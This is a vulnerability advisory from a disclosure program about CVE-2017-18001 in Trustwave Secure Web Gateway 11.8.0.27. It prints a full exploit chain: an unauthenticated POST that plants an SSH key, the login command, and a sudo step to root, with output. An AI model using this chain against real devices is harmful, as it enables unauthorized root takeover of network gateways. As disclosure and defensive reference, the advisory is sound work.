e630f8c249
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2.6 KiB
Vulnerability Summary
The following advisory describes an unauthorized access vulnerability that allows an unauthenticated user to add their own SSH key to a remote Trustwave SWG version 11.8.0.27.
Trustwave Secure Web Gateway (SWG) “provides distributed enterprises effective real-time protection against dynamic new malware, strong policy enforcement, and a unique Zero-Malware Guarantee when managed for you by our experts.”
Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor response
Trustwave was informed of the vulnerability, and released the following advisory: https://www.trustwave.com/Resources/Trustwave-Software-Updates/Important-Security-Update-for-Trustwave-Secure-Web-Gateway/
CVE: CVE-2017-18001
Vulnerability details
Trustwave SWG allows remote attackers to send to the SWG product a SSH key that will be used by the SWG product as the SSH key to logon to the device.
This allows unauthenticated user to send a POST request to /sendKey
POST /sendKey HTTP/1.1
Host: trustwave.device:5222
Content-Length: 558
content-type: multipart/form-data
user-agent: libwww-perl/6.15
Connection: close
--xYzZY
Content-Disposition: form-data; name="publicKey"; filename="public_key_to_send"
Content-Type: text/plain
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFxLGHCIST4jLDreJoQZnIZX6Fcx/ZyM1dzR2ZSwPG7UC3GYs61/cRGFvL9yuPZwIn8f/p9MCMoKHIG1gNZu0i7pqqZgB5vL+Dbf1vXl4PLY0wwcNMyVUBJaTSHdHSqe1KGBcM/1/gMsGpgcOJw2XMNubmXZxRSFSQLca1BsDmEyPF1KVpGfk60GtEH+c5E6ScEaTP7h0NcM6zEl9gubO2R+cq9FsPcMwF4bdsxyEZYGtVdS8B4goewEt1Nj+1hAzBWGox+hySee0QshZFAvZUrfcn4TsOd1iT95jAFoIDReQn781hmT6YQBpnl7HbDp6otyXAxrsvMOg1fvriAzHv rsyncuser
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
--xYzZY--
Which will add the supplied ssh key to Trustwave SWG, which we can use it to login to the device:
/usr/bin/ssh -q -o PasswordAuthentication=no -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o ServerAliveInterval=10 -i ./test.key commander@trustwave.device
Last login: Fri Aug 25 9:01:23 2017 from x.x.x.x
SWG Version : 11.8.0.27
SWG Maintenance Release : 0
Role : vs
Machine Type : NG-6000
If we will run the id command via ssh we will get the following response:
-sh-4.1$ id
uid=1000(rsyncuser) gid=48(apache) groups=48(apache)
Once we connected to Trustwave SWG via SSH we can run commands as root by accessing /opt/finjan/msh/run_inside.py
# sudo /opt/finjan/msh/run_inside.py bash
bash-4.1# id
uid=0(root) gid=0(root) groups=0(root)